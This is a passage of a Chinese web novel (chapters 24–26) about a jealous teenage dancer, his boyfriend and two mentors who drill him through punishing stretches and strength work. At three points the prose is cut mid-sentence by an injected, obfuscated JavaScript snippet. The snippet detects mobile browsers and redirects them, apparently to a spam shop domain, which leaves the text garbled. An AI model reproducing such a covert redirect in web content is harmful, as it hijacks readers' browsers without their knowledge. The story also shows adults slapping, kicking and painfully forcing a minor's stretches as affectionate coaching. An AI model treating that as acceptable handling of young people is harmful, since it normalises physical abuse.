“哎呦这是怎么了,你是只会两头起不是,怎么每次来练功房找你都是做这个动作。” 正是一肚子火憋不住呢,听见孔爵的声音彦承猛地坐起来,“上次是挨罚,这次是——!” 话到一半,彦承生生给咽了回去,他才不想承认,他是吃了陶乐钦的醋呢。孔爵倒是面不改色,小孩子闹脾气,他还能跟他们一般见识去, “是什么?怎么不说?” 铃铃铃…… 自己话音未落,是彦承的手机铃声。彦承跑过去拿起手机,刚想按断,想了想,还是接起来。 “喂。” “喂?” 难得彦承接了电话,晓希的简直惊喜万分。可是想到自己方才又错过三个,声音里不禁又带了愧疚,“对不起,我以为你今天不回来了,就舞去和……他……一起练功……,又错过你电话了。这周忙了一些,没怎么联系你,应该……不介意吧。” 其实不必要要提陶乐钦的,晓希到底没有搞清楚自己更介意的不是因为他练功冷落了自己,而是他陪谁去练功…… 孔爵哥就在身旁,彦承是不愿再和晓希置气了。自从他回了舞校,两人之间仅有的几次争吵都有孔爵哥见证了。 “这没什么的,我在和孔爵哥练功,稍后打给你!” 也不管晓希是否有话要说,彦承匆匆挂了电话。 孔爵见承儿神色不痛快,不禁过去揉了揉他脖颈,“这回又是怎么了?” 彦承望了眼孔爵,牙齿在嘴唇上摩挲了半晌,一句话还是问出了口。 “孔爵哥,您能不能收下陶乐钦。” 24. 第24章 彦承望了眼孔爵,牙齿在嘴唇上摩挲了半晌,一句话还是问出了口。 “孔爵哥,您能不能收下陶乐钦。” “收下陶乐钦。” 孔爵重复着这句话,警戒地眯起眼睛。“为什么这么说。” 孔爵哥正色地看过来,方才还能将一句话脱口而出的彦承瞬间就卡了壳。少年的喉结蠕动了一下,只觉得嘴巴干干的,突然说不出话了。晓希嘱咐过自己这件事要保密的,可是,自己前脚答应了,后脚就把这事儿说给孔爵哥听了,彦承瞬间觉得自己变成了班级里专打小报告的“小喇叭”。 可惜孔爵是出了名的没耐心和怕麻烦,眼见着这小家伙儿欲言又止,不禁立起眉毛,“怎么?前半句都说了后半句还想咽回去?” “不不,不是……” 彦承连忙急着辩解,这个节骨眼上,惹毛了谁也不能惹毛孔爵哥啊。小孩儿只好抿了抿嘴唇,在心里组织了下语言,便把事情一五一十的说了。 “所以,我想你也是早点收下陶乐钦,晓希………就不用总是帮他练功了。” 也不知道孔爵哥心里怎么想,彦承小心翼翼的把心里话说出来,还不停打量着眼前人的神色。没想到,孔爵听完却是乐了。 “嚯,原来是这么点儿事。” 一见孔爵哥笑容和煦语气轻松彦承心里一块大石头可算落了地,只要事情的源头能解决,一切问题不都迎刃而解了嘛! 事情突然出现了如此好的转机,彦承连忙猴子似的跑到孔爵跟前儿蹭了蹭,“这么说,你是答应了?” “哦。” 孔爵恍然大悟的点点头,大手友爱地拍了拍彦承肩膀,“所以我要是答应了,陶乐钦就不会去骚扰晓希了,他就可以继续独自练功了,你就又可以夺回你正室的地位了,是不是?承儿,你使得好一招曲线救国啊!” 搭在肩膀上的大手突然变拳挟在了脖子上,孔爵稍一使力彦承就不得不弯下腰迁就被牢牢卡着脑袋。这一变故来的突然,小孩还没明白怎么回事儿就连忙求起饶来,“哎呦哎呦孔爵哥,这是干嘛呀?” “干嘛! 一天不想着干正事儿,倒算计到我头上来了。嗯?” 孔爵松开手,一脚踹到小孩儿屁股上。 “两个人一起练练功少打几个电话你就吃飞醋了,是太闲着你了所以胡思乱想么?有那想没用东西的功夫,还不如好好学学习练练功! 早点儿考上舞校早点赶上陶乐钦还能吃什么醋?” 如此劈头盖脸的骂中带着揶揄,把彦承说的一阵发懵,一手捂着被踹疼的屁股,半晌才反应过来是被孔爵哥狠狠摆了一道。可是!这话里的意思不还是帮着陶乐钦。难道自己练的不如人家,就连申辩吃醋的机会都没有了嘛。何况孔爵哥不是一向也不喜欢陶乐钦,为什么这次要替他说话! 彦承委屈地瞪了孔爵一眼,冲到嘴边的话到底没忍住,“怎么?怎么又是我的不对?你……你是说的有道理。可是!可是谁远谁近你也不顾及嘛?” 呵!敢情这两天压着的小脾气都撒到我身上了! 孔爵一巴掌拍到小孩儿头上,半点也没客气,“平时我都是护短儿出了名,可这次就偏帮理不帮亲了! 别问我为什么,这么大点儿事就吃醋,你当你是林黛玉?再者方才萧泽为什么出去你自己心里清楚。” 一句话把彦承问的没了动静,自己整晚训练都不在状态。萧泽哥一直容忍到热身后,直到自己连成舞也跳得七零八落……所以才…… “怎么?没话说了?” 这家伙虽然还是有些不情愿,却到底不是那么气呼呼的了。孔爵骂着骂着也骂出了火气,到底没忍住,恨铁不成钢地又给了他一下子。“叫我看看,你是属小驴儿的不是,非得连打带骂的才听明白话。我现在出去和萧泽讨论新舞剧,一个小时后萧泽回来,你要是还没练好,就让你尝尝‘男子双打’的滋味!” 就这孔爵哥潇洒的背影,练功房大门“砰”的一声被关上。彦承呆站在原地,心里还是有些不痛快。倒不是因为孔爵哥话说的狠,从前跟着他练功的时候就早习惯了的,自己反而也更吃这一套,何况他说的本来就有道理。可是自己……就是转不过这个弯,就是因为陶乐钦跳得好,两个人一起练功能互相激励互相进步,自己连抱怨下被情人冷落的权利都没有了? ---------------------------------------------------------------------------------------- “其实,陶乐钦这个人也不差……和我们看到的,不那么一样……” “他练起功来也挺拼命的……我觉得他心里有事儿,也挺不容易的。” “其实孔爵哥……你……不妨考虑一下的……” 钟家的客厅里,孔爵枕着双臂靠在沙发上,脑海里晓希的话不停打着转。夏夜里操场上垂丧着头身体微微颤抖的身影也在眼前清晰起来。只是,这任何其一,都无法和孔爵所知道的的那个嚣张跋扈的少年重叠起来。 “想什么呢!” 一包薯片从天而降,孔爵一惊,连忙接住。回过头,果然是萧泽和钟彦霖从厨房过来,手里拿着宵夜和啤酒。两人将东西在茶几上摆满了,钟彦霖递过一罐啤酒给孔爵,“今天你就是不来我也想给你打电话呢。今晚英超曼联对利物浦,我和小泽自己看多没气氛。” “哈哈,可不是!” 孔爵抬手和两人干杯,一仰头,冰凉带着气泡的啤酒争先恐后地涌入喉咙。 “前一阵忙的人仰马翻,欧冠的决赛也错过了。 ” “这也能给你错过,真是忙得有多人仰马翻了?” 萧泽陪着孔爵慨叹遗憾,彦霖却是不自觉的朝楼梯看去。萧泽看在眼里,不禁握住情人的手,“惦记承儿呢?” “没,我们看我们的。” 彦霖反手握住情人叫他安心,因为心里已经了然。按承儿那小性子,一直号称自己是红魔的死忠,能出来哪里会不出来插科打挥呢。这会儿,八成是又给圈在练功房里了。 一个心疼又得装着没事儿,一个也心疼却要藏着愧疚,孔爵从旁看着,不禁一个劲儿的摇头。 “有的人啊,惦记就说惦记,自己弟弟练功练到12点还不出来,不心疼那不是亲哥。再有的人,用不着愧疚,弟弟是人家死乞白咧亲自塞到你手里的。练不好就罚了打了,多大点儿事儿。” 这…… 心事瞬间被戳破,两人收紧了相扣的十指,一阵尴尬。沉默了半晌,还是彦霖先抬起头,询问地眼光看向萧泽。得到情人微笑点头,彦霖才毫不犹豫地看向孔爵, “你可少揶揄我们。要是闲着啊,不如替我和小泽去看看承儿,没练完也叫他出来吧。小家伙儿爱看球,错过这一场指不定怎么难过呢。” 呵,可是过河就柴桥呢! “好好好,你们如胶似漆,我去带孩子!” 拍了拍沾了薯片碎屑的裤子,孔爵站起身朝练功房走去,只是还没走出客厅,已见一身汗湿的承儿出来了。 “孔爵哥?呃,萧泽哥……我练完了” 从练功房出来的彦承将方才一席话尽数听去,刚被委屈折磨地冰凉的内心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239522|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立时就温暖了几分。只是没想到,哥哥也在客厅里。那自己又被罚功的事情…… “过来。” 哥哥招手让自己过去,恐怕又是要挨说了,还要在大家面前。彦承闷闷地“嗯”了一声,两步走到跟前儿,却是垂着头,没好意思坐下。 这一年,弟弟个头已经窜起来不少,自己坐着,也只能揽到他的腰。浑身上下再找不出一丝赘肉,触手之处尽是紧绷的肌肉,已然不是那个爱握着手柄打游戏的孩子了。可纵然是心里有多舍不得,当哥哥的,还是不敢有半分过分的宠溺,“这一阵子才练的好一点,又作什么?是不是皮又紧了?” 宽大的手掌在自己背上落下一巴掌,彦承一个机灵,忍不住偷偷瞄了一眼孔爵哥,见他神态自若地喝着啤酒,心里不禁一块石头落地:还好没把自己吃醋的事说出去,总归不用太丢脸。可是……大伙儿都在,要这么被看着认错吗? “哥我——” “好了!” 彦承诧异地停下,是萧泽哥先出来打圆场了。 “趁比赛还没开始,先去洗个澡换身衣服,不然一身汗,着凉了又耽误学习。” 小孩儿点点头,却是没敢动,彦霖知道他是等自己放话。于是将弟弟从头到尾打量了一边,目光最后停留在他微微发怯的眼神中。深深地看了一眼,直到确定小孩儿是真的收到自己严肃的警告才轻声吐出两个字,“去吧。” 有如得到大赦的圣旨,彦承强稳着脚步冲上二楼,将一定是在对这自己背影偷笑的三个人远远抛在背后。 边冲进洗手间边脱下黏在身上的T恤,扬起手臂的瞬间,肩胛的酸痛不禁让彦承皱了皱眉。不间断的高强度训练让肌肉酸痛成为每日如影随形的感受,可这在外人看起来无法理解的辛苦在学舞的孩子眼里却又再平常不过;这是晓希告诉他的。 他明白的。从决定学舞的那一天起就明白,所以拼命地练习,追赶。因为起步晚,他可以付出更多的努力,吃更多的苦。可是,只是因为自己没能用更快的速度追赶上,所以…… 彦承苦恼地靠在冰凉的墙壁上,满脑子都是陶乐钦,还有孔爵哥跟自己说过的那些话。 开赛前的两分钟,彦承终于从楼上下来,脸上露着不正常的苍白。“洗这么久?” 刚从厨房出来的萧泽揉了揉少年的脖颈,凝聚在发梢上带着洗发水味道的水滴落在手上,“头发也不擦干?是不是洗冷水澡了?” “嘿嘿,” 彦承露出标准的憨笑,“没事儿!天太热了!马上开踢了,快快坐好!” 小孩儿推着萧泽哥在哥哥身旁坐了,自己反而绕到沙发后面站着看。彦霖诧异的回过头,“干什么站着看?” “呃……我刚才洗完澡偷吃了点零食。可能吃的太快,现在噎的很。站会儿,站会儿有助于消化。” “呿”,拿这个臭小子没辙,彦霖摆摆手,懒得理他,“随你吧。” 呼……好在哥哥们心思都在球上,被自己瞒过去了。 放完国歌,比赛正式开始。彦承趁着大家全神贯注看着比赛,双手扶着沙发背,小心翼翼地弯起脚趾,缓缓立了起来。 余光里站在沙发背后面的小子默默“长高了”几公分,孔爵撇过头,将少年刻意掩盖的忍痛的表情收在了眼底。 “承儿啊!” “哈?” 小孩儿给吓得一惊,连忙握紧了沙发背,愤恨地瞪着旁边沙发上一脸看好戏的孔爵。那张看起来有点让人讨厌的脸,正慢慢做出一个貌似极其诚恳的表情,“我想说的是,收紧你的核心部分,立直你的中腰,双手虚虚地搭在沙发背上,会更好地帮助——‘消化’。” 25. 第25章 周日一大早,城郊通往市区的高速总不是那么拥挤的,孔爵驾车载着萧泽和彦承,道路两旁整齐的松柏飞速在眼前闪过。 “这次多亏了有你,不然真忙不过来了。”虽是多年相交,萧泽还是不忘和孔爵致谢。身旁稳稳把着方向盘的人自然仍是一如既往的豪迈,“我现在闲人一个,不用白不用。再者……” 瞟了一眼后座啃三明治啃得正香的彦承,孔爵不禁勾起嘴角,“我心疼的是晓希。有我帮你看顾着后面这家伙,你才能专心帮晓希准备不是。” 方才还大口咀嚼着三明治的彦承不自觉停下了嘴,透过后视镜一脸愤恨地等着孔爵,这为老不尊的家伙好像只要有一分钟不揶揄自己就不舒服似的。握着三明治的手不禁紧了紧,咬剩一半的西红柿扑簌簌地掉出来。萧泽皱了皱眉,“早起十分钟的事儿,下次不许在车里吃东西。” “哦!” 彦承抽出纸巾包起掉在地上的西红柿,又以迅雷不及掩耳之势把三明治通通塞进了肚子里。 孔爵目不转睛地看着小家伙儿一阵忙碌,不禁暗自感叹,萧泽在这群孩子中的积威可比他强多了。 三人把车停好,一同朝舞团的排练大楼走去,孔爵却忽然想起什么似的,眼神,向隔壁舞院的教学楼飘去。 “小心!”大楼门口的这么几节台阶,孔爵险些绊倒在上面,亏是给萧泽一把捞住了,“怎么心不在焉的?” “萧泽,我去办点事儿,稍后来练功房找你。” 一句话还未交代清楚,人已经一路小跑到远处的林荫小道上了,萧泽倒少见他这么神神叨叨的时候,不知道又是为了什么事儿。 “孔爵哥怎么了?” 一同望着树林间一闪一闪的身影,彦承好奇的问道。萧泽笑了笑,却是伸手抻着少年的耳朵,不解气地拧了一把,“还好意思打听别人。你和晓希又闹什么,当我不知道你有什么心事儿呢?” 被萧泽哥这么一提,彦承不自觉地慢下脚步,是啊,等会儿就见着人了。自己……还有点儿没准备好呢。其实,早已经不气了,说吃醋,也好像吃不起来,又说不出要为什么吃醋了。可是心里面,仿佛就有那么点小疙瘩,解不开,放不下,硌着人难受。 “今天,我就要两个字,状态。承儿,懂点事。” 萧泽一句话撂在仍旧呆立在门口的少年耳边,人已经大步走进了楼里。彦承陡然反应过来,连忙三步并作两步赶了上去,那始终领先自己几步的背影,忽然让人想起,一直以来被自己当做闪着光圈的偶像的萧泽哥,昨夜在自己的房门口那样讲过, “你得时刻记着,是你自己要走上这条路,也得记着,是为什么要走这一条路。时刻记得。” “萧泽哥,你先进!” 手指搭上门把的一瞬间,彦承突然露了怯,闪电般松开手,一闪身让给了萧泽。萧泽无奈,给了他个“就你事儿多”的眼神,一把推开了门。 “人没来呢。” “没人?” 躲在萧泽身后一直低着头催眠自己让表情自然的彦承猛地探出头来,果见练功房里只是空荡荡一片。方才还不敢面对的尴尬瞬间变成了淡淡的失望……明明自己准备了那么久台词的。 萧泽打量着承儿一脸阴晴不定不禁觉得好笑,想到自己和彦霖就是那么自然而然顺理成章地在一起,竟是没闹过这样酸里透着甜的小别扭。 “行了,去换衣服吧。” 两人一起朝更衣室走去,推开门,小家伙儿登时愣在那儿,晓希不是正带着耳机在那儿换舞鞋。 “晓希。” 萧泽扬声叫他。 “学长来——承儿!” 晓希抬头看清了来人,连舞鞋都没来得及穿好就奔到了两人跟前。 “学长来了?” 话是问了自己,眼神却向一边飘去,这小小的更衣间好像只因为自己就便得拥挤了许多。萧泽无奈,拎起背包闪了出去。“我去外边换。” 房间里只剩二人,一直埋着头的彦承忍不出偷偷打量眼前一周没见的情人,却正碰上晓希灼热的眼神。吓得想急忙闪避开,却……又舍不得的再看看。如此对视了半晌,还是晓希先绷不住笑,“还以为你不来了呢。” “切,我哪周没来?除非你不想我来!” 小家伙儿显然是赌气般地哼了一声。晓希却是忍不住抿起嘴角,能这么说,想是没那么生气了?上前把人搂在怀里,嘴唇紧贴着耳朵, “这几天生气了?” 蒙蒙的声音还有吐在耳边的气息,彦承瞬间就红了耳朵,想了一肚子谴责的话仿佛都给吹得烟消云散了。面对着晓希,生不出气了。可是心里,真的没有一点不舒服了么。不知道,彦承不知道,自己到底该气晓希没把自己放在第一位,还是该气陶乐钦霸占了晓希,还是……像孔爵哥说的那样,该气自己技不如人呢?想到这儿,彦承不禁有些沉默下来,小别重逢的小欣喜渐渐变得暗淡。一直想压下去的愁绪,又一点点在心口扬起头来。 “承儿……” 晓希把人拉出怀抱,垂着眼睫渐渐变得沉默的情人让他格外内疚。“承儿,你心里想什么,说给我听成吗?这一阵子,是我不对……你……” 后面的话,好像都没听见去,脑海里只记得晓希把重音放在那个“我”字上面。彦承微微抬起头,眼前的人正弯下身试图看清自己的表情,一脸担忧。多少次了,闹脾气,耍别扭,总是晓希先低头,先来哄自己的。这样在人前识礼谦让,练功时拼命吃苦,对自己,又百般包容的晓希,其实……是有些心疼了呢。 “哎!哪那么容易生气呢,我没事儿,晓希你也开心点。先上课去,等会儿萧泽哥该着急了。”彦承絮絮叨叨说着有的没的,人逃也似的离开更衣室。晓希对着一下空落落了的眼前,兀自为了那句“开心点儿”而凝着嘴角的笑容,一时,却又不知该给谁看。 走出更衣室,学长和彦承已经在把干旁站好,晓希连忙过去,在承儿身后站了。舒缓的音乐伴着阳光流泻出来,听到前奏就知道,是承儿热身时最喜欢用的 one thousand year。双手抱到二位,又撩起到三位,然后塌腰,拉长脊背,身体向前对折。时光仿佛一下都切回到三人在钟家的练功房里一起练功的场景。那时做着转腰,彦承从旁腰转到身后的时候,总是故意放松脖子然后垂下头倒着看着自己,自己也总是嗔怒的瞪他一眼……那时的会心和惬意,现在竟是遥不可及的了么? --------------------------------------------------------------------------------------------------- 沿着墙壁拾级而上,孔爵站在走廊一头,目光所及,是成排的小练功房。明明是一路跑过来教学楼的,到了这里,却不禁慢下脚步。左右两边的练功房里,孩子们个个专心的练习。也难怪,明天就是周一了,总要突击一下,自己那时候,不也是这样?不过看看眼前新装的玻璃,新粉刷的墙壁,自己上学的时候,少说也是十年前的事了啊。 回味着学生时代的酸甜苦辣,嘴边噙着的总是笑容,不知不觉中,伴着回忆的调子,已经走到了走廊尽头。眼前还有一扇门,角落里的练功房?就是这儿了吧?孔爵贴在门口看了看,屋里没人,大喇喇的推门进去,细细打量着房间。安静,偏僻,还有那么点不见光,倒像是陶乐钦能选出来的地方。 地上,整整齐齐堆放着负重,沙袋,垫子。 “其实他练起功来,挺拼命的。”脑海里转出晓希的那么一句话。孔爵不禁玩味地哼了一声,拼命练有什么好自豪好张扬的,拼命练的人多了去了。可……他是不愿意承认……自己心里突然软下来的一块啊。 孔爵在房间里转着圈,将这不大的房间打量个遍,浓浓的思绪,也层出不穷。垫子下边,露出一角咖啡色,孔爵低身抽出来,翻开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239523|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本子,眼神不禁闪烁了片刻:是陶乐钦的日记。 “也许是小小的幼稚一直在自己心中如此存在着,所以,确认得到了林晓希的帮助,就相信在不久之后一定会成为孔爵的学生。尽管……我知道他是讨厌我的。” 短短几行字,拼凑着中文和日文,凭借着当年硬要看得懂原版动漫的执着,孔爵终于看懂了,却不自觉地,皱起了眉头。一页页从后朝前翻着,总是不多字,有对自己的崇拜,也有对晓希的态度,也有,对老师的想念。 “其实林晓希和自己想象的不一样呢。共同练舞的时候见识了他编舞的能力,虽然不愿承认,可竟也是个了不起的角色。那他对自己的善意,究竟是真正的善意,还是虚伪呢?” “孔爵……真的是和老师很像呢。我那么努力的变得优秀,老师您有看见么?您会来找我吗?我很想念您,我能跟着孔爵练舞吗……” 有那么一瞬间,孔爵有些想知道这个桀骜不驯的小子心心念念的老师究竟是谁了。一个时常目中无人的小子,日记中的笔触竟然是这样的小心翼翼,到底是什么样的人?他的第一个老师?孔爵迫不及待地翻到前面的日记找寻线索,口袋里的电话却突然响了,是萧泽。 “怎么了?” “新舞剧那边好像有事讨论,我得过去一趟,你帮我带下两个孩子?” 哎!说好过去帮忙的。孔爵看看表,竟是耽误了大半个小时, “我现在赶过去。” 把日记本插到口袋,孔爵一路朝舞团的排练大楼走去。赶到练功房门口时候晓希正自己练着比赛的曲目,萧泽正帮承儿练腹肌。 脚踝上帮着铅块,双手背在脑后,双腿并拢迅速地踢起。将将踢到三十度便遇上萧泽的手,要迅速弹回,如此往复。小幅度的快速踢起落下对腹肌是极大的考验。不过做了三十几个,彦承已经有些接不上气,不要说腹肌,大腿也酸痛地无法支持。 动作的频率明显慢下来,每次拎起双腿,上身也不自觉的扬起来,萧泽托住承儿再起抬起的脚踝,声音中透着不容置疑的严肃,“动作不标准的话,达不到训练的目的。” 话音未落,双手已经陡然松开,彦承一个没控住,双脚狠狠砸到了地上。萧泽却是毫不心疼的皱起眉头,“再来。” 这一年来,彦承早已习惯萧泽哥这样的严厉,纵然身体如何叫嚣着没力,动作也一定要样板书一样的做出来。小孩儿咬着牙根调动全身的力量,腰,背,腹肌,大腿,膝盖,每一处都不敢放松。可是,搜刮全身方积攒出一点点力气,才一鼓作气的把腿推上去,就在马上要轻松的前一秒被轻飘飘地打下来了。再想提气掀起腿,却是无论如何也不行了。“上身贴近地面,靠腹肌的力量,起来!” 连喘息的机会都没有,萧泽哥只是用指节敲敲地板,彦承就忍不住一个机灵。几乎是绝望地闭上眼睛,没有定额,没有结束的时间。已经觉得无论如何都无法完成下一个的时候,却还是要硬扛着腰板几乎要断掉疼痛,往萧泽哥要求的高度上抬。 堪堪熬到八十个,不给半点喘息的催促让承儿彻底脱了力,牟足了劲儿用腰腹的力量牵引双腿,却还是在一半就掉下来。小家伙儿已经急的满头是汗,萧泽看在眼里,心里也不舒服。第一天带着铅块做这个动作,能撑到现在,已经是难得了。可练舞,偏偏是不能只要心疼就能给特权的。萧泽蹲在旁边再次敲了敲地板,“起来。要不然就别练了。我放你休息。” “别!我不……我练……” 说不练仿佛比催着更有威慑力,承儿急的红了眼眶,想解释却累得连气都喘不上,更别提说出完整的句子。躺在身体铺天盖地的疲惫里,承儿怕极了萧泽哥真的要误会自己不肯练了,便一秒不敢耽搁地再次调动全身的力量把腿抬离地面。双腿用力过猛的举上来,却是被萧泽在三十度的地方生生给压了下去,嘴里轻轻吐出两个字,“81.” 26. 第26章 心里想着事儿,胸口难免像压了块石头,不怎么爽利,孔爵在门口倚着,远处地上的彦承满面狰狞,那架势……仿佛世上找不出比这更痛苦的表情来了。堪堪捱到一百个,萧泽又逼着他在空中控二十个数,小家伙儿咬着牙身子几乎抖成了筛子,压着萧泽松口许他放下的一瞬间,人已经脱力地软成一滩水。 哎……孔爵轻笑一声,踱着步子到彦承跟前儿蹲下,身旁的萧泽正帮手]他解下负重。“叫他自己来。才十点半就这么要死不活的,啧啧,还剩下大半天呢!” 这后半句刻意提高了声调,显然是说给彦承听得。果然,萧泽还没回话,孔爵已经满意地听到地上的人虚弱的声音,“我休息会儿……就好了……” “你就当我宠弟弟一回。” 萧泽不理孔爵,三两下就将铅条解了下来。他心里,是有自己的计较;平日里孩子们学舞上课已经够辛苦,原则内的事情,自己能多做些,就让他们少辛苦些。想来自己这一辈从前练舞的时候哪个不是在老师棍棒底下摸爬滚打 ,那时候想着自己若是有朝一日也能教学生,一定不让他们这么辛苦,如今真的做了老师就明白,每一点进步都是一滴血一滴汗换出来的。 孔爵却好似不买账,一边恶狠狠地瞪着彦承,一边反驳道,“宠得不是地方。” 萧泽抿嘴笑笑,不和他争嘴,只站起身收了东西,又去跟晓希交代了几句。一交代起来,不免又说的多了,孔爵见他迟迟不走忍不住上前催促,新舞剧的事,团里本来就没有多支持,让他们等久了,最后还不是找舞剧的晦气。 萧泽前脚出了门,孔爵才又腾出空来看看还在地上休息的彦承,“怎么样?缓过劲儿就给我说说,早上都练了什么了?” 彦承撑起身,还未答话,已经不禁瞟着一旁继续练舞的晓希。他的情人……不管在什么样的状况下,都是这样专心练舞的。孔爵见小孩儿若有所思,知是他们之间的矛盾还没解决,可小小年纪就因为感情事影响练功学习,可过不了他这关。手指在那走了神儿的脑壳上一弹,小孩儿啊的一声捂住头,之间眼前的人好整以暇地绞起双臂, “怎么?真羡慕晓希跳的那么好,就把没有用的情绪先放一边,争口气给人看看。力量练过了就起来,压腿!” 坐位体前屈的变化动作---双腿打开四十五度,两脚垫高二十公分,延长脊椎和双臂,上身向地面对折。彦承长呼一口气让上身向下探去,身旁孔爵哥不停地叫着“慢。” “慢慢下! 脊椎向远处延伸,想象着有人在你头顶扯一根线……” “手臂抬起来! 身子还没下去双手急着着地干什么?” 孔爵弯下腰粗鲁地抓着彦承手臂往上提了提,“我不是让你扒着地面乌龟一样往前抻,是让你以胯部为轴对折下去!听不听得懂!” 这行大礼般的延伸法让本来已经腹背酸痛的彦承难受的很,维持上身的平整一点点向下,如此的慢性折磨,还不如给孔爵哥一巴掌拍下去好受些。耳边还是不留情的呵斥,彦承生怕吸引了晓希的注意,或者,他已经注意到了,正看着自己呢! 一想到这些,他如鸵鸟般埋着头,一点不敢让眼神飘过去。听见孔爵哥的呵斥,也只是点点头,却又怕他老人家看不见,只得在喉咙里咕哝出个“懂”字。 十五六岁的这些小心思,哪里逃得出过来人的法眼。孔爵冷哼了一声,偏偏退到一旁,双手叉着腰继续勒令他继续。 “接着向下!以你现在的程度还差得远呢!再这么磨蹭要不要我叫晓希过来盯着你!” “不要不要!”着实被这句话吓到,彦承一边呼着气一边慢慢压下上身…… 这样的体前屈,上身能和双腿折到一个平面上已经不易,更别说是要贴着地。大腿后侧和根部的韧带已经紧紧绷住,那熟悉的疼痛也沿着骨肉一点点攀上心头,可是这样的疼……根本是连前菜都算不上的。这一点,彦承心里清楚的很,只得要紧牙根拼了命的向下,直到肌肉已经不自觉的抖起来,自己也无法再向下了。 就在这兀自与自己抗争的关口,一根手指抵在脊背上,哪怕只是一点力量,彦承也仿佛有了依靠般抖得没那么厉害了。果然,是孔爵哥的声音在耳边响起,“看好了!这才是你的极限!下次两三下先给我下这个位置,别一寸一寸的磨洋工。” 彦承侧过头,偷偷看了眼镜中保持着尴尬笨拙的姿势的自己,没有丝毫美感可言,下一秒钟孔爵哥的巴掌已经落到背上,“手臂伸直向前看,脊背挺起来,再说一遍,向远延伸!” “呃嗯……!” 一双宽大的手掌突然附在后腰上,自己还来不及反应疼痛便极具袭来,彦承忍不住从喉咙深处挤出一声呻吟,已经感觉到这双手缓慢却坚定地压着自己向下。孔爵蹲在彦承身后,将重心一点点压到双手上。他自知这样的体前屈并不容易,也自然不奇怪手下大不同于平时的阻力。身下的小孩已经疼得忘记绷住脚背脚尖,双手也狠狠地扒住地面,孔爵在他身后,已经看得见后颈上突然渗出的一层汗珠。 彦承埋头紧闭住眼睛,黑暗中仿佛听得到肌肉和韧带中互相咬合的纤维一点点断裂地声音。他知道这是不可能的,可是那样的疼……分明就是要扯断筋骨的级别! 被疼痛激的鼻尖一酸,眼眶突然就热了起来。彦承想起孔爵哥向前看的动作要领,连忙抬起头使劲儿地眨了几下眼睛。练了这么久舞,要说这点疼还要哭就没脸面见人了,可是镜中的自己,眼眶分明就是红了…… 如此拼命抵御一波强过一波地疼痛,小孩儿看着离自己下巴越来越近的地面不停地安慰自己,进步!这一点点的都是进步! 忍得住的……扛得住的!可是……心底的某一处,自己却是在小小声祈求,或许……能停下一会儿吧,哪怕就一会儿会儿……也是好的。 余光里孔爵看见晓希那支成舞早就练的走了样子,情人在受苦受难,他那点儿神精神自然全部飘到自己这边来了。孔爵低头打量着手下兀自微微发抖,背上的衣服全部湿透的彦承,这样的惨况,就算萧泽见到也是会心疼的吧,可是在他这里,偏不会! 练舞,哪有不把苦头掰碎了一点点咽下去就能得到好处的。所以,孔爵哪里会知道小孩儿一直在心中默念着不要跪下不要跪下,当下就狠着心将双膝抵在他背上,压了全身的重量下去。 “嗯……”撕心裂肺一声闷哼,瞬间就将人的心揪了起来。彦承瞪大了眼睛望住镜子,连大气都不敢出;他不想哭的,也不是哭,只是被疼痛刺激的眼眶红了些,眼泪,是坚决不会落下来的。 铺天盖地的疼痛仿佛一张大网把自己死死包裹住,终于忍过眼前的那一番湿润,彦承拼命用呼吸缓解这疼痛。然后他听见孔爵哥的声音在身后响起,“晓希,你到这跟前儿来跳。我趁着这会儿帮你把动作把把关。 什么? 被疼痛折磨的头昏眼花的彦承突然清醒起来。为什么要让晓希到他跟前来跳?为什么自己这么丢脸的样子…… 彦承气闷的埋住头,越想,心里就越难过。几个月来,已经不断被提醒自己和晓希之间的差距了。每个人的话都是一样,你起步晚,基础差,和晓希有那么大的差距,要倍加努力才行。吃苦也好,努力也好,纵使有时偷些小懒,自己也一直都咬着牙撑过那些难捱的日子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239524|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。可是,即便是这样,也仍然无法得到满意,就连想要和心爱的人一起练舞的小嫉妒心……也是奢望吗? ---------------------------------------------------------------------------------- 陶乐钦三步并作两步地飞下十几级台阶,一路冲出教学楼,以百米冲刺的速度奔向舞院的排练大楼。 那本日记……可千万不要给他翻开看到啊。 上午发现日记本不见,他像疯了一样冲去那间练功房,掀起了所有垫子和器材都没有,可是自己昨天只拿着日记本去过那间小练功房的。大家都知道他常去那间小练功房,平时没人会进的! 自己几乎问了一层教学楼的人,受了无数的白眼和冷言冷语才问到有人看见孔爵今早进去过那间练功房。 如果希望有人永远不要看到他的日记,那个人,一定是孔爵。 